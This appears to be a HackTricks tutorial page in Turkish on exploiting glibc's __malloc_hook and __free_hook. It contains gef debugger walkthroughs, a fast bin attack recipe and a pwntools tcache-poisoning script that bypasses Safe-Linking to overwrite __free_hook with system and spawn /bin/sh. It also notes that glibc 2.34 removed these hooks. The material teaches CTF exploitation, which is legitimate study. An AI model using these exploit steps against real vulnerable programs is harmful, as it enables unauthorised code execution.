WWW2Exec - __malloc_hook & __free_hook
Reading time: 6 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Malloc Hook
Resmi GNU sitesinde belirttiği gibi, __malloc_hook
değişkeni, malloc()
çağrıldığında çağrılacak bir fonksiyonun adresine işaret eden bir işaretçidir ve bu adres libc kütüphanesinin veri bölümünde saklanır. Bu nedenle, bu adres bir One Gadget ile üzerine yazılırsa ve malloc
çağrılırsa, One Gadget çağrılacaktır.
Malloc'u çağırmak için programın bunu çağırmasını beklemek veya printf("%10000$c")
çağrısı yaparak, libc
'nin bunları yığın üzerinde tahsis etmesi için çok fazla byte tahsis etmek mümkündür.
One Gadget hakkında daha fazla bilgi için:
warning
Hooks'un GLIBC >= 2.34 için devre dışı olduğunu unutmayın. Modern GLIBC sürümlerinde kullanılabilecek diğer teknikler vardır. Bakınız: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
Free Hook
Bu, sıralanmamış bir bin saldırısından sonra hızlı bir bin saldırısını kötüye kullanan sayfadaki örneklerden birinde kötüye kullanıldı:
Binary'nin sembolleri varsa __free_hook
adresini bulmak mümkündür:
gef➤ p &__free_hook
Postta semboller olmadan free hook'un adresini nasıl bulacağınıza dair adım adım bir kılavuz bulabilirsiniz. Özetle, free fonksiyonunda:
gef➤ x/20i free
0xf75dedc0 : push ebx
0xf75dedc1 : call 0xf768f625
0xf75dedc6 : add ebx,0x14323a
0xf75dedcc : sub esp,0x8
0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
0xf75dedd9 : mov eax,DWORD PTR [eax]--- BURADA KIRIL
0xf75deddb : test eax,eax ;<
0xf75deddd : jne 0xf75dee50
Yukarıdaki kodda belirtilen kırılma noktasında $eax
içinde free hook'un adresi bulunacaktır.
Şimdi bir fast bin saldırısı gerçekleştiriliyor:
- Öncelikle,
__free_hook
konumunda **200 boyutunda hızlı chunk'lar ile çalışmanın mümkün olduğu keşfedildi: gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- Bu konumda 0x200 boyutunda bir hızlı chunk elde edebilirsek, çalıştırılacak bir fonksiyon işaretçisini yazmak mümkün olacaktır.
- Bunun için,
0xfc
boyutunda yeni bir chunk oluşturulur ve birleştirilmiş fonksiyon bu işaretçi ile iki kez çağrılır, bu şekilde hızlı bin içinde0xfc*2 = 0x1f8
boyutunda serbest bırakılmış bir chunk'a işaret eden bir işaretçi elde edilir. - Ardından, bu chunk içinde
fd
adresini önceki__free_hook
fonksiyonuna işaret edecek şekilde değiştirmek için edit fonksiyonu çağrılır. - Daha sonra, hızlı bin'den önceki işe yaramaz chunk'ı almak için
0x1f8
boyutunda bir chunk oluşturulur, böylece__free_hook
içinde bir hızlı bin chunk'ı elde etmek için0x1f8
boyutunda başka bir chunk oluşturulur ve bu,system
fonksiyonunun adresi ile üzerine yazılır. - Ve nihayet,
/bin/sh\x00
dizesini içeren bir chunk serbest bırakılır ve delete fonksiyonu çağrılır, bu da__free_hook
fonksiyonunu tetikler ve/bin/sh\x00
parametre olarak sistem fonksiyonuna işaret eder.
Tcache zehirlenmesi & Güvenli Bağlama (glibc 2.32 – 2.33)
glibc 2.32, Güvenli Bağlama'yı tanıttı - tcache ve hızlı binler tarafından kullanılan tek-bağlı listeleri koruyan bir bütünlük kontrolü. Artık ham bir ileri işaretçi (fd
) depolamak yerine, ptmalloc bunu aşağıdaki makro ile şifreli olarak depoluyor:
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
Sömürü için sonuçlar:
- Bir heap leak zorunludur – saldırgan, geçerli bir obfuscate edilmiş işaretçi oluşturmak için
chunk_addr >> 12
değerini bilmelidir. - Sadece tam 8 baytlık işaretçi sahte olarak oluşturulabilir; tek baytlık kısmi yazmalar kontrolü geçmeyecektir.
Dolayısıyla, glibc 2.32/2.33 üzerinde __free_hook
'u yazan minimal bir tcache-poisoning primitive şöyle görünmektedir:
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
Yukarıdaki kesit, UIUCTF 2024 – «Rusty Pointers» ve openECSC 2023 – «Babyheap G» gibi son CTF zorluklarından uyarlanmıştır; her ikisi de __free_hook
'u yazmak için Safe-Linking bypass'larına dayanıyordu.
glibc ≥ 2.34'te ne değişti?
glibc 2.34 (Ağustos 2021) ile birlikte, __malloc_hook
, __realloc_hook
, __memalign_hook
ve __free_hook
tahsis kancaları kamusal API'den kaldırıldı ve artık tahsis edici tarafından çağrılmıyor. Eski ikili dosyalar için uyumluluk sembolleri hala dışa aktarılmakta, ancak bunları yazmak artık malloc()
veya free()
kontrol akışını etkilemiyor.
Pratik sonuç: modern dağıtımlarda (Ubuntu 22.04+, Fedora 35+, Debian 12, vb.) diğer ele geçirme ilkelere (IO-FILE, __run_exit_handlers
, vtable spraying, vb.) geçiş yapmalısınız çünkü kanca yazmaları sessizce başarısız olacaktır.
Hala hata ayıklama için eski davranışa ihtiyacınız varsa, glibc libc_malloc_debug.so
'yu gönderir; bu, eski kancaları yeniden etkinleştirmek için önceden yüklenebilir – ancak bu kütüphane üretim için tasarlanmamıştır ve gelecekteki sürümlerde kaybolabilir.
Referanslar
- https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook
- https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
- Safe-Linking – 20 yıllık bir malloc() istismar ilkesinin ortadan kaldırılması (Check Point Research, 2020)
- glibc 2.34 sürüm notları – malloc kancalarının kaldırılması
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.